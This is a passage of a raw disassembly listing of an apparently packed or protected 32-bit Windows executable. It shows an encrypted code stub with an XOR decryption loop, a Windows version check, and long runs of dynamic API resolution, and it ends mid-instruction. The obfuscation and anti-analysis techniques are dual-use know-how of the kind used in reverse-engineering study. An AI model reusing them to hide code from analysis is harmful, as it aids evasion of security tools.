[ebp+var_4] mov ds:off_4E169C, eax pop edi pop esi mov esp, ebp pop ebp retn sub_4CD2E0 endp ; --------------------------------------------------------------------------- align 10h loc_4CD700: ; CODE XREF: sub_4CDB8Dp call sub_4CD2E0 pop eax call loc_4CDE60 pop eax mov [esp+24h], eax popa pop eax pop eax call eax call sub_4DA0BC ; --------------------------------------------------------------------------- db 6 dup(0CCh) dword_4CD720 dd 0 ; DATA XREF: sub_4CD2E0:loc_4CD6CDo ; sub_4D47BF+2Bo ... db 90h db 1Eh, 91h, 0 aHereisbootcode db 27h,'HEREISBOOTCODE',27h,0 align 10h dw 7 unicode 0, <>,0 a_text db '.text',0 ; DATA XREF: _6:off_4E169Co align 4 db 90h db 2 dup(2), 0 dd 1000h, 12400h, 400h, 3 dup(0) dd 60000020h, 6164722Eh, 6174h, 1BB6h, 22000h, 1000h, 12800h dd 3 dup(0) dd 40000040h, 7461642Eh, 61h, 0A6720h, 24000h, 4000h, 13800h dd 3 dup(0) dd 0C0000040h, 6478732Eh, 617461h, 18h, 0CB000h, 200h dd 17800h, 3 dup(0) dd 0C0000240h, 7865742Eh, 74h, 11ABFh, 0CC000h, 0B600h dd 17A00h, 3 dup(0) dd 0E0000040h, 6164722Eh, 6174h, 0D76h, 0DE000h, 0E00h dd 23000h, 3 dup(0) dd 0E0000040h, 7461642Eh, 61h, 7110h, 0DF000h, 1C00h, 23E00h dd 3 dup(0) dd 0E0000040h, 0B3h dup(0) dd 32000000h, 30353030h db 35h, 31h, 38h ; --------------------------------------------------------------------------- public start start: call $+5 pusha call sub_4CDB8D xchg eax, esp sbb [esi-6E07B9B0h], ah push ebp setnbe byte ptr [edi+37h] test al, 65h and cl, [ecx-28h] pusha or al, [eax+373EFFA7h] add [edi], edi mov ebp, 0A5F40422h pusha enter 0FFFFB7D7h, 0BCh sti cmp [esi-4C522775h], esp icebp movsb xchg eax, ebp dec dword ptr [eax] ; --------------------------------------------------------------------------- dw 0E98Dh dd 0A71D3AFDh, 0E98D695Ch, 0A71D3AFDh db 5Ch, 69h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4CDB7E proc near ; CODE XREF: _4:004CDF39p _4:004CECB0p ... jmp sub_4D489D sub_4CDB7E endp ; --------------------------------------------------------------------------- jmp loc_4D48B6 ; --------------------------------------------------------------------------- jmp loc_4D48B6 ; =============== S U B R O U T I N E ======================================= sub_4CDB8D proc near ; CODE XREF: _4:004CDB39p call loc_4CD700 jmp sub_4DDAB0 sub_4CDB8D endp ; --------------------------------------------------------------------------- jmp sub_4DDAB0 ; --------------------------------------------------------------------------- dd 0CBCB4CE9h, 0E452E9DBh, 0E7E9626Dh, 0E9234555h, 5988650h dd 0BB205043h, 6DF64925h, 53E679A8h, 0E9C3AF96h, 20h, 0F3h dd 2060400h, 9E6h, 5 dup(0) dd 39289932h, 0DD93CC29h, 0A3A35AE3h, 4EA4B4Eh, 2E6D7A6Eh dd 2E657865h, 584F42h, 71h dup(0) align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CDDD0 proc near ; CODE XREF: sub_4CD2E0+3DCp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax+78h], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx+7Ch], 0 push offset aKernel32_dll ; "kernel32.dll" call ds:dword_4DE014 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4CDE12 push 0 push 0 push 0 push 0EF0000FDh call ds:dword_4DE00C ; RaiseException loc_4CDE12: ; CODE XREF: sub_4CDDD0+2Fj mov edx, [ebp+var_8] push edx call ds:dword_4DE000 ; InitializeCriticalSection mov eax, [ebp+var_8] add eax, 18h push eax call ds:dword_4DE000 ; InitializeCriticalSection mov ecx, [ebp+var_8] add ecx, 30h push ecx call ds:dword_4DE000 ; InitializeCriticalSection mov edx, [ebp+var_8] add edx, 48h push edx call ds:dword_4DE000 ; InitializeCriticalSection mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4CDDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CDE50 proc near ; CODE XREF: sub_4D2DD0+50p push ebp mov ebp, esp mov eax, ds:dword_4E1688 mov al, [eax+70h] pop ebp retn sub_4CDE50 endp ; --------------------------------------------------------------------------- align 10h loc_4CDE60: ; CODE XREF: _4:004CD706p push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi mov eax, [ebp+8] mov ds:dword_4E1688, eax push offset aKernel32_dll ; "kernel32.dll" call ds:dword_4E1718 ; GetModuleHandleA mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_4CDE99 push 0 push 0 push 0 push 0EF0000FDh call ds:dword_4E1778 ; RaiseException loc_4CDE99: ; CODE XREF: _4:004CDE86j push offset aVirtualalloc ; "VirtualAlloc" mov ecx, [ebp-8] push ecx call ds:dword_4E1728 ; GetProcAddress mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0 jnz short loc_4CDEC2 push 0 push 0 push 0 push 0EF0000FCh call ds:dword_4E1778 ; RaiseException loc_4CDEC2: ; CODE XREF: _4:004CDEAFj push 4 push 1000h push 1000h push 0 call dword ptr [ebp-0Ch] mov ds:dword_4E1674, eax push 4 push 2000h call ds:dword_4E173C ; GetTickCount xor edx, edx mov ecx, 8000h div ecx push edx push 0 call dword ptr [ebp-0Ch] mov ds:dword_4E167C, eax push 4 push 1000h push 1000h push 0 call dword ptr [ebp-0Ch] mov ds:dword_4E1678, eax mov edx, ds:dword_4E1674 mov dword ptr [edx], 19660Dh mov eax, ds:dword_4E1678 mov dword ptr [eax], 3C6EF35Fh mov dword ptr [ebp-14h], 0 mov dword ptr [ebp-4], 0 push 2E0000h call sub_4CDB7E adc eax, 3C65AC02h cmpxchg [esi], cl xchg edi, [edx+2E8519EFh] cmp ecx, ebx xchg eax, ecx db 66h out 0F9h, al ; AT 80287 data. ; 286 sends opcodes & operands and receives results. mov [ecx+5Ch], ebp dec edi db 36h pop edi xlat sbb ecx, [esi] add [edx+7124A10Dh], eax dec esp xor [eax+73h], ecx mov ds:48B5728Dh, al db 3Eh xor [ebx+78h], ecx mov dl, 8Ah fcomp qword ptr [eax+ebx*8-38h] and eax, 8467D355h xchg eax, ecx sahf and [ebp-136E3BBFh], al or ah, [ebx-48D2FD85h] inc edi mov esp, 77849591h add eax, 4C759C32h pop ds xchg eax, esi push ds cmp cl, [edi-1] and al, 31h db 3Eh dec ebx xor [ebp+72h], ah ; --------------------------------------------------------------------------- aDmqqh?2rr3EUul db 'dqqH?23҅uE',8,'qEh',1Bh,0 db '!',0 db 0E8h, 0BCh, 0FBh dd 9090FFFFh, 0C985C933h, 558BEE75h, 8D8D52E8h, 0FFFFFF18h dd 41EFE8h, 216800h, 9BE80026h, 90FFFFFBh, 85C03390h, 6AEE75C0h dd 840D8B08h, 51004E16h, 0FF188D8Dh, 94E8FFFFh, 68000046h dd 26h, 0FFFB75E8h, 0DD7144FFh, 57C78D29h, 56C454C1h, 0E9957046h dd 2E4E5B6Ch, 7725EB5Bh, 0ADF7793Fh, 0D11C487Eh, 0C097F072h dd 3F5DFA9Bh, 75E9DCC2h, 0F7518C7h, 0B6514437h, 6D7A8355h dd 0C0339090h, 0EE75C085h, 16840D8Bh, 118B004Eh, 0A1F05589h dd 4E1684h, 4D89088Bh, 9468ECh, 0F3E80000h, 830000A2h dd 858904C4h, 0FFFFFEFCh, 0FEFC958Bh, 9589FFFFh, 0FFFFFF14h dd 25B9h, 8BC03300h, 0FFFF14BDh, 8BABF3FFh, 0FFFF1485h dd 9400C7FFh, 8B000000h, 0FFFF148Dh, 15FF51FFh, 4E1738h dd 0FF14958Bh, 428BFFFFh, 1680A310h, 85C7004Eh, 0FFFFFF10h dd 0 ; --------------------------------------------------------------------------- mov ecx, ds:dword_4E1680 mov [ebp-10Ch], ecx cmp dword ptr [ebp-10Ch], 0 jz short loc_4CE0E8 cmp dword ptr [ebp-10Ch], 1 jz short loc_4CE0F7 cmp dword ptr [ebp-10Ch], 2 jz short loc_4CE14E jmp loc_4CE1EB ; --------------------------------------------------------------------------- loc_4CE0E8: ; CODE XREF: _4:004CE0CFj mov dword ptr [ebp-0F0h], offset aWin32s ; "win32s" jmp loc_4CE1EB ; --------------------------------------------------------------------------- loc_4CE0F7: ; CODE XREF: _4:004CE0D8j mov edx, [ebp-0ECh] cmp dword ptr [edx+8], 0 jnz short loc_4CE10F mov dword ptr [ebp-0F0h], offset aWindows95 ; "Windows95" jmp short loc_4CE149 ; --------------------------------------------------------------------------- loc_4CE10F: ; CODE XREF: _4:004CE101j mov eax, [ebp-0ECh] cmp dword ptr [eax+8], 0Ah jnz short loc_4CE127 mov dword ptr [ebp-0F0h], offset aWindows98 ; "Windows98" jmp short loc_4CE149 ; --------------------------------------------------------------------------- loc_4CE127: ; CODE XREF: _4:004CE119j mov ecx, [ebp-0ECh] cmp dword ptr [ecx+8], 5Ah jnz short loc_4CE13F mov dword ptr [ebp-0F0h], offset aWindowsme ; "WindowsMe" jmp short loc_4CE149 ; --------------------------------------------------------------------------- loc_4CE13F: ; CODE XREF: _4:004CE131j mov dword ptr [ebp-0F0h], offset aWindows9xUnkno ; "Windows9x(unknown)" loc_4CE149: ; CODE XREF: _4:004CE10Dj _4:004CE125j ... jmp loc_4CE1EB ; --------------------------------------------------------------------------- loc_4CE14E: ; CODE XREF: _4:004CE0E1j mov edx, [ebp-0ECh] cmp dword ptr [edx+4], 3 jnz short loc_4CE169 mov dword ptr [ebp-0F0h], offset aWindowsnt3_51 ; "WindowsNT(3.51)" jmp loc_4CE1EB ; --------------------------------------------------------------------------- loc_4CE169: ; CODE XREF: _4:004CE158j mov eax, [ebp-0ECh] cmp dword ptr [eax+4], 4 jnz short loc_4CE181 mov dword ptr [ebp-0F0h], offset aWindowsnt4_0 ; "WindowsNT(4.0)" jmp short loc_4CE1EB ; --------------------------------------------------------------------------- loc_4CE181: ; CODE XREF: _4:004CE173j mov ecx, [ebp-0ECh] cmp dword ptr [ecx+4], 5 jnz short loc_4CE1E1 mov edx, [ebp-0ECh] cmp dword ptr [edx+8], 0 jnz short loc_4CE1A5 mov dword ptr [ebp-0F0h], offset aWindows2000 ; "Windows2000" jmp short loc_4CE1DF ; --------------------------------------------------------------------------- loc_4CE1A5: ; CODE XREF: _4:004CE197j mov eax, [ebp-0ECh] cmp dword ptr [eax+8], 1 jnz short loc_4CE1BD mov dword ptr [ebp-0F0h], offset aWindowsxp ; "WindowsXP" jmp short loc_4CE1DF ; --------------------------------------------------------------------------- loc_4CE1BD: ; CODE XREF: _4:004CE1AFj mov ecx, [ebp-0ECh] cmp dword ptr [ecx+8], 2 jnz short loc_4CE1D5 mov dword ptr [ebp-0F0h], offset aWindows_net ; "Windows.NET" jmp short loc_4CE1DF ; --------------------------------------------------------------------------- loc_4CE1D5: ; CODE XREF: _4:004CE1C7j mov dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)" loc_4CE1DF: ; CODE XREF: _4:004CE1A3j _4:004CE1BBj ... jmp short loc_4CE1EB ; --------------------------------------------------------------------------- loc_4CE1E1: ; CODE XREF: _4:004CE18Bj mov dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)" loc_4CE1EB: ; CODE XREF: _4:004CE0E3j _4:004CE0F2j ... mov edx, [ebp-0ECh] mov [ebp-108h], edx mov eax, [ebp-108h] push eax call sub_4D83DD add esp, 4 mov ecx, ds:dword_4E1684 mov edx, [ecx+2Ch] mov [ebp-0F4h], edx cmp dword ptr [ebp-0F4h], 0 jz short loc_4CE28F mov eax, [ebp-0F4h] mov [ebp-0FCh], eax mov dword ptr [ebp-0F8h], 0 jmp short loc_4CE245 ; --------------------------------------------------------------------------- loc_4CE236: ; CODE XREF: _4:004CE28Dj mov ecx, [ebp-0F8h] add ecx, 1 mov [ebp-0F8h], ecx loc_4CE245: ; CODE XREF: _4:004CE234j cmp dword ptr [ebp-0F8h], 80h jge short loc_4CE28F mov edx, [ebp-0FCh] imul edx, 19660Dh add edx, 3C6EF35Fh mov [ebp-0FCh], edx mov eax, [ebp-0F8h] mov ecx, [ebp-0F4h] mov edx, [ecx+eax*4] xor edx, [ebp-0FCh] mov eax, [ebp-0F8h] mov ecx, [ebp-0F4h] mov [ecx+eax*4], edx jmp short loc_4CE236 ; --------------------------------------------------------------------------- loc_4CE28F: ; CODE XREF: _4:004CE21Cj _4:004CE24Fj mov edx, ds:dword_4E1684 mov eax, [edx+24h] and eax, 10h neg eax sbb eax, eax neg eax mov ds:byte_4E1694, al call sub_4D4DC0 mov ecx, [ebp-14h] mov [ebp+8], ecx cmp ds:dword_4E5A54, 0 jz short loc_4CE2CD push 0 push 0 push 0 mov edx, ds:dword_4E5A54 push edx call ds:dword_4E1838 ; PostMessageA loc_4CE2CD: ; CODE XREF: _4:004CE2B8j xor eax, eax pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CE2E0 proc near ; CODE XREF: sub_4CD2E0+3BEp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push offset aKernel32_dll ; "kernel32.dll" call ds:dword_4DE014 ; GetModuleHandleA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4CE30B push 0 push 0 push 0 push 0EF0000FDh call ds:dword_4DE00C ; RaiseException loc_4CE30B: ; CODE XREF: sub_4CE2E0+18j push offset aClosehandle ; "CloseHandle" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16A4, eax push offset aCreatefilea ; "CreateFileA" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16A8, eax push offset aCreatefilew ; "CreateFileW" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16AC, eax push offset aCreatefilemapp ; "CreateFileMappingA" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16B0, eax push offset aCreatefilema_0 ; "CreateFileMappingW" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16B4, eax push offset aCreateprocessa ; "CreateProcessA" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16B8, eax push offset aDebugbreak ; "DebugBreak" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16BC, eax push offset aDeletefilea ; "DeleteFileA" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16C0, eax push offset aEntercriticals ; "EnterCriticalSection" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16C4, eax push offset aExitprocess ; "ExitProcess" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16C8, eax push offset aFindclose ; "FindClose" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16CC, eax push offset aFindfirstfilea ; "FindFirstFileA" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16D0, eax push offset aFindnextfilea ; "FindNextFileA" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16D4, eax push offset aFlushfilebuffe ; "FlushFileBuffers" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16D8, eax push offset aFormatmessagea ; "FormatMessageA" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16DC, eax push offset aFreelibrary ; "FreeLibrary" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16E0, eax push offset aGetcurrentproc ; "GetCurrentProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16E4, eax push offset aGetcurrentpr_0 ; "GetCurrentProcessId" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16E8, eax push offset aGetenvironment ; "GetEnvironmentVariableA" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16EC, eax push offset aGetexitcodepro ; "GetExitCodeProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16F0, eax push offset aGetfileattribu ; "GetFileAttributesA" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16F4, eax push offset aGetfileattri_0 ; "GetFileAttributesW" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16F8, eax push offset aGetfileinforma ; "GetFileInformationByHandle" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E16FC, eax push offset aGetfilesize ; "GetFileSize" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1700, eax push offset aGetfiletime ; "GetFileTime" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1704, eax push offset aGetfullpathnam ; "GetFullPathNameA" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1708, eax push offset aGetfullpathn_0 ; "GetFullPathNameW" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E170C, eax push offset aGetlasterror ; "GetLastError" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1710, eax push offset aGetmodulefilen ; "GetModuleFileNameA" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1714, eax push offset aGetmodulehandl ; "GetModuleHandleA" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1718, eax push offset aGetprivateprof ; "GetPrivateProfileIntA" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E171C, eax push offset aGetprivatepr_0 ; "GetPrivateProfileSectionNamesA" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1720, eax push offset aGetprivatepr_1 ; "GetPrivateProfileStringA" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1724, eax push offset aGetprocaddress ; "GetProcAddress" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1728, eax push offset aGetsystemtimea ; "GetSystemTimeAsFileTime" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E172C, eax push offset aGettempfilenam ; "GetTempFileNameA" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1730, eax push offset aGettemppatha ; "GetTempPathA" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1734, eax push offset aGetversionexa ; "GetVersionExA" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1738, eax push offset aGettickcount ; "GetTickCount" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E173C, eax push offset aHeapalloc ; "HeapAlloc" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1740, eax push offset aHeapfree ; "HeapFree" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1744, eax push offset aHeapcreate ; "HeapCreate" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1748, eax push offset aInitializecrit ; "InitializeCriticalSection" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E174C, eax push offset aDeletecritical ; "DeleteCriticalSection" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1750, eax push offset aLeavecriticals ; "LeaveCriticalSection" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1754, eax push offset aLoadlibrarya ; "LoadLibraryA" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E175C, eax push offset aLoadlibraryexa ; "LoadLibraryExA" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1758, eax push offset aLocalalloc ; "LocalAlloc" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1760, eax push offset aLocalfree ; "LocalFree" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1764, eax push offset aLockfile ; "LockFile" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1768, eax push offset aMapviewoffile ; "MapViewOfFile" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E176C, eax push offset aMultibytetowid ; "MultiByteToWideChar" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1770, eax push offset aOpenprocess ; "OpenProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1774, eax push offset aRaiseexception ; "RaiseException" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1778, eax push offset aReadfile ; "ReadFile" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E177C, eax push offset aSetenvironment ; "SetEnvironmentVariableA" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1780, eax push offset aSetevent ; "SetEvent" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1784, eax push offset aSetfilepointer ; "SetFilePointer" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1788, eax push offset aSetlasterror ; "SetLastError" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E178C, eax push offset aSetunhandledex ; "SetUnhandledExceptionFilter" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1790, eax push offset aSleep ; "Sleep" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1794, eax push offset aTerminateproce ; "TerminateProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1798, eax push offset aUnlockfile ; "UnlockFile" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E179C, eax push offset aUnmapviewoffil ; "UnmapViewOfFile" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17A0, eax push offset aVirtualalloc ; "VirtualAlloc" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17A4, eax push offset aVirtualfree ; "VirtualFree" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17A8, eax push offset aVirtualprotect ; "VirtualProtect" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17AC, eax push offset aVirtualquery ; "VirtualQuery" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17B0, eax push offset aWaitforsingleo ; "WaitForSingleObject" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17B4, eax push offset aWidechartomult ; "WideCharToMultiByte" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17B8, eax push offset aWritefile ; "WriteFile" mov ecx, [ebp+var_C] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17BC, eax push offset aLstrcmpia ; "lstrcmpiA" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17C0, eax push offset aUser32_dll_0 ; "user32.dll" call ds:dword_4E175C ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4CE8D0 push 0 push 0 push 0 push 0EF0000F7h call ds:dword_4DE00C ; RaiseException loc_4CE8D0: ; CODE XREF: sub_4CE2E0+5DDj push offset aChangedisplays ; "ChangeDisplaySettingsA" mov eax, [ebp+var_10] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17C4, eax push offset aCharupperbuffa ; "CharUpperBuffA" mov ecx, [ebp+var_10] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17C8, eax push offset aLoadimagea ; "LoadImageA" mov edx, [ebp+var_10] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17CC, eax push offset aMessageboxa_0 ; "MessageBoxA" mov eax, [ebp+var_10] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17D0, eax push offset aWsprintfa ; "wsprintfA" mov ecx, [ebp+var_10] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17D4, eax push offset aWvsprintfa ; "wvsprintfA" mov edx, [ebp+var_10] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17D8, eax push offset aGdi32_dll_0 ; "gdi32.dll" call ds:dword_4E175C ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4CE96D push 0 push 0 push 0 push 0EF0000F6h call ds:dword_4DE00C ; RaiseException loc_4CE96D: ; CODE XREF: sub_4CE2E0+67Aj push offset aAddfontresourc ; "AddFontResourceA" mov eax, [ebp+var_8] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17DC, eax push offset aCreatecompat_0 ; "CreateCompatibleDC" mov ecx, [ebp+var_8] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17E0, eax push offset aCreatedibsec_0 ; "CreateDIBSection" mov edx, [ebp+var_8] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17E4, eax push offset aDeletedc_0 ; "DeleteDC" mov eax, [ebp+var_8] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17E8, eax push offset aRemovefontreso ; "RemoveFontResourceA" mov ecx, [ebp+var_8] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17EC, eax push offset aBeginpaint ; "BeginPaint" mov edx, [ebp+var_10] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17F0, eax push offset aEndpaint ; "EndPaint" mov eax, [ebp+var_10] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17F4, eax push offset aGetobjecta ; "GetObjectA" mov ecx, [ebp+var_8] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17F8, eax push offset aSelectobject_0 ; "SelectObject" mov edx, [ebp+var_8] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E17FC, eax push offset aDeleteobject_0 ; "DeleteObject" mov eax, [ebp+var_8] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1800, eax push offset aBitblt_0 ; "BitBlt" mov ecx, [ebp+var_8] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1804, eax push offset aGetwindowthrea ; "GetWindowThreadProcessId" mov edx, [ebp+var_10] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1808, eax push offset aSetactivewindo ; "SetActiveWindow" mov eax, [ebp+var_10] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E180C, eax push offset aSetforegroundw ; "SetForegroundWindow" mov ecx, [ebp+var_10] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1810, eax push offset aRegisterclasse ; "RegisterClassExA" mov edx, [ebp+var_10] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1814, eax push offset aGetsystemmetri ; "GetSystemMetrics" mov eax, [ebp+var_10] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1818, eax push offset aCreatewindowex ; "CreateWindowExA" mov ecx, [ebp+var_10] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E181C, eax push offset aGetmessagea ; "GetMessageA" mov edx, [ebp+var_10] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1820, eax push offset aTranslatemessa ; "TranslateMessage" mov eax, [ebp+var_10] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1824, eax push offset aDispatchmessag ; "DispatchMessageA" mov ecx, [ebp+var_10] push ecx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1828, eax push offset aDestroywindo_0 ; "DestroyWindow" mov edx, [ebp+var_10] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E182C, eax push offset aEnumwindows ; "EnumWindows" mov eax, [ebp+var_10] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1830, eax push offset aDefwindowproca ; "DefWindowProcA" mov ecx, [ebp+var_10] push ecx call 